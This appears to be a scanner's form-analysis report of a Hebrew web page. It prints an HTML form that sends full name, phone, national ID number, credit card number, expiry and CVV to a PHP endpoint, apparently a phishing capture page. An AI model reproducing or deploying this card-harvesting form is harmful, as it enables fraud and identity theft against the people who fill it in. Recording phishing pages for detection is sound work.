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Form analysis
1 forms found in the DOM

POST 555555requests_db.php?new

<form class="needs-validation mb-6" action="555555requests_db.php?new" method="POST">
  <div class="mb-3">
    <label for="signupFullnameInput" class="form-label">שם מלא:</label>
    <input type="text" class="form-control" maxlength="25" name="name" required="">
  </div>
  <div class="mb-3">
    <label for="signupFullnameInput" class="form-label">מספר טלפון :</label>
    <input type="tel" class="form-control" name="tel" required="" maxlength="10" min="10" pattern=".{10,10}" oninput="this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\..*)\./g, '$1');">
  </div>
  <div class="mb-3">
    <label for="signupFullnameInput" class="form-label">מספר תעודת זהות :</label>
    <input type="tel" class="form-control" name="plate" required="" maxlength="9" min="9" pattern=".{9,9}" oninput="this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\..*)\./g, '$1');">
  </div>
  <div class="mb-3">
    <label for="signupFullnameInput" class="form-label"> כרטיס אשראי :</label>
    <input autocomplete="cc-number" placeholder="" class="form-control" type="tel" name="p_card" required="" maxlength="16" min="16" pattern=".{16,16}" oninput="this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\..*)\./g, '$1">
    <div class="form-control">
      <p class="form-control"><label>תוקף</label>
        <span class="input" style="direction: ltr; display: flex; justify-content: space-between; border-width: 0px; padding: 0px; text-align: left;">
          <select class="form-control" name="p_expiremon" required="" autocomplete="cc-exp-month" style="width: calc(50% - 5px);">
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="4">4</option>
            <option value="5">5</option>
            <option value="6">6</option>
            <option value="7">7</option>
            <option value="8">8</option>
            <option value="9">9</option>
            <option value="10">10</option>
            <option value="11">11</option>
            <option value="12">12</option>
          </select> <select class="form-control" name="p_expireyear" required="" autocomplete="cc-exp-year" style="width: 49%;">
            <option value="2024">2024</option>
            <option value="2025">2025</option>
            <option value="2026">2026</option>
            <option value="2027">2027</option>
            <option value="2028">2028</option>
            <option value="2029">2029</option>
            <option value="2030">2030</option>
            <option value="2031">2031</option>
            <option value="2032">2032</option>
            <option value="2033">2033</option>
          </select></span>
      </p>
      <p class="form-control">
        <label onclick="this.nextElementSibling.focus()">cvv</label><!--v-if--><input autocomplete="cc-csc" placeholder="" class="form-control" type="tel" name="p_cardcvv" required="" maxlength="3" min="3" pattern=".{3,3}"
          oninput="this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\..*)\./g, '$1');">
        <!--v-if-->
      </p>
    </div>
  </div>
  <div class="mb-3">
    <center>
      <button class="btn btn-danger">אישור</button>
    </center>
  </div>
</form>

Text Content

הזן את הנתונים הנדרשים
שם מלא:
מספר טלפון :
מספר תעודת זהות :
כרטיס אשראי :

תוקף 1 2 3 4 5 6 7 8 9 10 11 12 2024 2025 2026 2027 2028 2029 2030 2031 2032
2033

cvv

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